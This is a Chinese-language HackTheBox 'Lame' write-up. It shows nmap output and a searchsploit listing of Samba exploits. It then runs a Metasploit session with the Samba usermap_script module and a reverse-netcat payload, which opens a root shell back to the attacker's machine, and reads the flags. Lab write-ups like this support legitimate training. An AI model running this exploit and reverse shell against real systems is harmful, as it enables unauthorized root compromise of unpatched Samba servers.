首页 > 其他分享 >HackTheBox-Lame

HackTheBox-Lame

时间:2023-04-22 13:36:16浏览次数:42  
标签:Samba script Lame HackTheBox samba 3.0 txt root

nmap

扫一下端口

┌──(kali㉿kali)-[~/htb/lame]
└─$ cat nmap.txt
# Nmap 7.93 scan initiated Sat Apr 22 00:01:10 2023 as: nmap -n -v -sC -sV -oN nmap.txt -Pn 10.10.10.3
Nmap scan report for 10.10.10.3
Host is up (0.55s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT    STATE SERVICE      VERSION
21/tcp  open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.4
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp  open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
|_  2048 5656240f211ddea72bae61b1243de8f3 (RSA)
139/tcp open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  microsoft-ds Samba smbd 3.0.20-Debian
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 2h00m22s, deviation: 2h49m45s, median: 20s
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2023-04-22T00:05:32-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 22 00:05:54 2023 -- 1 IP address (1 host up) scanned in 284.48 seconds
                                                                                                                                                           

msf

查询相关漏洞,发现第三行的'Username map script' Command Execution (Metasploit)可用,而且是metasploit里面的攻击模块

┌──(kali㉿kali)-[~/htb/lame]
└─$ searchsploit samba 3.0
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                           |  Path
------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Samba 3.0.10 (OSX) - 'lsa_io_trans_names' Heap Overflow (Metasploit)                                                     | osx/remote/16875.rb
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass                                                                   | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)                                         | unix/remote/16320.rb
Samba 3.0.21 < 3.0.24 - LSA trans names Heap Overflow (Metasploit)                                                       | linux/remote/9950.rb
Samba 3.0.24 (Linux) - 'lsa_io_trans_names' Heap Overflow (Metasploit)                                                   | linux/remote/16859.rb
Samba 3.0.24 (Solaris) - 'lsa_io_trans_names' Heap Overflow (Metasploit)                                                 | solaris/remote/16329.rb
Samba 3.0.27a - 'send_mailslot()' Remote Buffer Overflow                                                                 | linux/dos/4732.c
Samba 3.0.29 (Client) - 'receive_smb_raw()' Buffer Overflow (PoC)                                                        | multiple/dos/5712.pl
Samba 3.0.4 - SWAT Authorisation Buffer Overflow                                                                         | linux/remote/364.pl
Samba < 3.0.20 - Remote Heap Overflow                                                                                    | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC)                                                                            | linux_x86/dos/36741.py
------------------------------------------------------------------------------------------------------------------------- ---------------------------------

直接用metasploit搜索Samba 3.0.20

msf6 > search samba 3.0.20

Matching Modules
================

   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No    

选择此模块并配置好反弹shell的相关参数,用run命令发起攻击,直接获取了root权限下的shell,直接打开root下的flag

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > show option
[-] Invalid parameter "option", use "show -h" for more information
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.32.134   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(multi/samba/usermap_script) > set rhost 10.10.10.3
rhost => 10.10.10.3
msf6 exploit(multi/samba/usermap_script) > set rport 445
rport => 445
msf6 exploit(multi/samba/usermap_script) > set lhost 10.10.14.4
lhost => 10.10.14.4
msf6 exploit(multi/samba/usermap_script) > set lport 2333
lport => 2333
msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 10.10.14.4:2333 
[*] Command shell session 1 opened (10.10.14.4:2333 -> 10.10.10.3:40919) at 2023-04-22 00:22:42 -0400
whoami
root
which python
/usr/bin/python
python -c 'import pty;pty.spawn("/bin/bash")'
root@lame:/# cat /root/root.txt
cat /root/root.txt
162190c25286540dea9c0047e......

user下的flag

root@lame:/home# find / -name user.txt 2>/dev/null
find / -name user.txt 2>/dev/null
/home/makis/user.txt
root@lame:/home# cat /makis/user.txt
cat /makis/user.txt
cat: /makis/user.txt: No such file or directory
root@lame:/home# cat makis/user.txt
cat makis/user.txt
a5ceb51f1741b774fbee61a559......

标签:Samba,script,Lame,HackTheBox,samba,3.0,txt,root
From: https://www.cnblogs.com/yueyejian/p/17342837.html

相关文章

  • HackTheBox-Holiday
    Reconnaissancenmap通过nmap扫描发现了靶机只存在ssh和Node.js框架下的http服务。进入网站首页并没有发现什么有用的信息。#Nmap7.92scaninitiatedTueApr1807:38:062023as:nmap-Pn-sV-sC-A-oNnmap.txt10.10.10.25Nmapscanreportfor10.10.10.25Hostis......
  • Autodesk Flame 2024 for mac(高级 3D 视觉效果) v2024激活版
    AutodeskFlame2024中文版提供用于快速、交互式3D视觉效果、精加工、合成、高级图形、颜色分级、整合、编辑和外观开发的工具。3D合成(动作)结合了传统2D合成的交互速度和强大的3D视觉效果。包括会话中艺术家的WYSIWYG预览。Flame2024中文版功能特色基于节点的合成(批处理......
  • Ubuntu系统Flameshot使用问题
    Ubuntu系统Flameshot使用问题系统:Ubuntu22.04问题:使用Flameshot,每次都会先截取整个屏幕,提示需要先分享,再使用Flameshot的功能安装Flameshotsudoaptinstallflameshot先说解决方案开机用户登录时,右下角有设置桌面环境,默认是Ubuntu,修改为UbuntuonXorg问题使用Flame......
  • 性能分析之FlameGraph火焰图的生成
    很多人觉得火焰图炫酷。如果只从操作上来说,真是没什么难度,只比大象放冰箱稍微难点。这里演示一下perf结果怎么放冰箱,不,是怎么生成火焰图!perf结果生成火焰图第一步:随便录点啥,我这里是所有操作,主要是生成perf.data文件。[root@7DGroupFlameGraph]#perfrecord-F99-a-g--sleep......
  • A. Lame King
    A.LameKingYouaregivenacheckerboardofsize$201\times201$,i.e.ithas$201$rowsand$201$columns.Therowsofthischeckerboardarenumberedfrom......
  • OSCP考试Hackthebox靶机推荐
    Pain:Pain是一台基于Linux的靶机,难度级别为中等,涵盖了许多常见的漏洞类型和渗透测试技术。这台靶机需要进行横向渗透,涉及到一些密码破解和提权技术。Legacy:Legacy是一......
  • 【android】Android使用LAME将pcm文件转mp3文件
    Android使用LAME将pcm格式转mp3格式lame介绍:LAME是一款开源的MP3编码器,被认为是中高比特率和VBR的最佳MP3编码器,质量和速度方面的改进仍在继续,可能使LAME成为仍在积极开发......
  • 解决 Ubuntu 22.04 下 flameshot 截图工具无法使用的问题
    问题描述flameshot是Linux端广受好评的一款截图工具,但在Ubuntu22.04中,安装完成后却不能使用,表现为截图命令无响应,或截图过程报错通过查阅flameshot仓库的issue......
  • ACM-ICPC 2018 沈阳赛区现场赛 K. Let the Flames Begin (约瑟夫环问题 n个人, 报数为k
     题意: n个人围成一个圈,从1开始报到第k个人出环,问第m个出环的人是谁,n、m、k<=1e18且min(m,k)<=2e6。题解:约瑟夫环的出队是有O(n)的递推算法的:f(n)=(f(n-1)+k-1)......
  • git blame All In One
    gitblameAllInOnegit高级教程gitblame$git--help#'githelp-a'and'githelp-g'listavailablesubcommandsandsomeconceptguides.#See'githe......